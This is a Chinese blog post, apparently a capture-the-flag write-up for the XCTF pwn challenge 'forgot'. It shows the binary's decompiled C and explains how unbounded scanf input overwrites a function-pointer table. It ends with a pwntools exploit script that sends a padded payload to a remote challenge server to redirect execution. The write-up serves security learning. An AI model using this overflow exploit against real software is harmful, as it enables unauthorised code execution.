当前位置 博文首页 > 文章内容

    xctf | pwn进阶

    作者: 栏目:未分类 时间:2020-07-14 18:00:55

    本站于2023年9月4日。收到“大连君*****咨询有限公司”通知
    说我们IIS7站长博客,有一篇博文用了他们的图片。
    要求我们给他们一张图片6000元。要不然法院告我们

    为避免不必要的麻烦,IIS7站长博客,全站内容图片下架、并积极应诉
    博文内容全部不再显示,请需要相关资讯的站长朋友到必应搜索。谢谢!

    另祝:版权碰瓷诈骗团伙,早日弃暗投明。

    相关新闻:借版权之名、行诈骗之实,周某因犯诈骗罪被判处有期徒刑十一年六个月

    叹!百花齐放的时代,渐行渐远!



    forgot

    简化版代码如下

    int __cdecl main()
    {
      int  v0; // ebx
      char email_check[32]; // [esp+10h] [ebp-74h]
      int(*v3)(); // [esp+30h] [ebp-54h]
      int (*v4)(); // [esp+34h] [ebp-50h]
      int (*v5)(); // [esp+38h] [ebp-4Ch]
      int (*v6)(); // [esp+3Ch] [ebp-48h]
      int (*v7)(); // [esp+40h] [ebp-44h]
      int (*v8)(); // [esp+44h] [ebp-40h]
      int (*v9)(); // [esp+48h] [ebp-3Ch]
      int (*v10)(); // [esp+4Ch] [ebp-38h]
      int (*v11)(); // [esp+50h] [ebp-34h]
      int (*v12)(); // [esp+54h] [ebp-30h]
      char s; // [esp+58h] [ebp-2Ch]
      int Index; // [esp+78h] [ebp-Ch]
      int i; // [esp+7Ch] [ebp-8h]
    
      Index = 1;
      v3 = fun0;
      v4 = fun1;
      v5 = fun2;
      v6 = fun3;
      v7 = fun4;
      v8 = fun5;
      v9 = fun6;
      v10 = fun7;
      v11 = fun8;
      v12 = fun9;
      puts("What is your name?");
      printf("> ");
      fflush(stdout);
      fgets(&s, 32, stdin);
      sub_80485DD((int)&s);
      fflush(stdout);
      printf("I should give you a pointer perhaps. Here: %x\n\n", fun4);
      fflush(stdout);
      puts("Enter the string to be validate");
      printf("> ");
      fflush(stdout);
      __isoc99_scanf("%s", email_check);
      for ( i = 0; ; ++i )
      {
        v0 = i;
        if ( v0 >= strlen(email_check) )
          break;
        switch ( Index )
        {
          case 1:
            if ( sub_8048702(email_check[i]) )      // a-z,0-9,+,-,.,/  =>first char
              Index = 2;
            break;
          case 2:
            if ( email_check[i] == '@' )
              Index = 3;
            break;
          case 3:
            if ( sub_804874C(email_check[i]) )      // a-z,0-9,_
              Index = 4;
            break;
          case 4:
            if ( email_check[i] == '.' )
              Index = 5;
            break;
          case 5:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 6;
            break;
          case 6:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 7;
            break;
          case 7:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 8;
            break;
          case 8:
            if ( sub_8048784(email_check[i]) )      // a-z
              Index = 9;
            break;
          case 9:
            Index = 10;
            break;
          default:
            continue;
        }
      }
      ((void (*)(void))*(&v3 + --Index))();         // fun[Index--]
      return fflush(stdout);
    }
    

    分析源码:可以控制调用函数的下标,即从fun0-fun9中调用,而接下来的输入点可以覆盖掉fun函数列表,于是其中一种思路是:用字符过滤的原则只让Index一开始为2,之后调用fun1,而对应的将fun1的地址覆盖为可疑函数的地址。

    细节:&&和||,&&优先级高,实现字符过滤
    __isoc99_scanf("%s", email_check);
    不限长输入,在email_check下有函数的地址列表。

    可疑函数地址:0x080486CC。偏移量(OX74-0x54)此时为anonymous(fun0)以上的偏移,之后再加上fun0对应的4字节,即为0x24,在把fun1覆盖,这里选择覆盖fun1的原因是与输入的'a'有关,符合输入字符,最会把Index变为2,之后再--Index.

    payload

    from pwn import *
    
    context.log_level = 'debug'
    
    p = remote("220.249.52.133",48040)
    #p = process('./forgot')
    
    payload = 'a'*0x24+p32(0x080486CC) 
    
    p.recvuntil("> ")
    p.sendline('a')
    p.recvuntil("> ")
    p.sendline(payload)
    
    p.interactive()
    

    效果: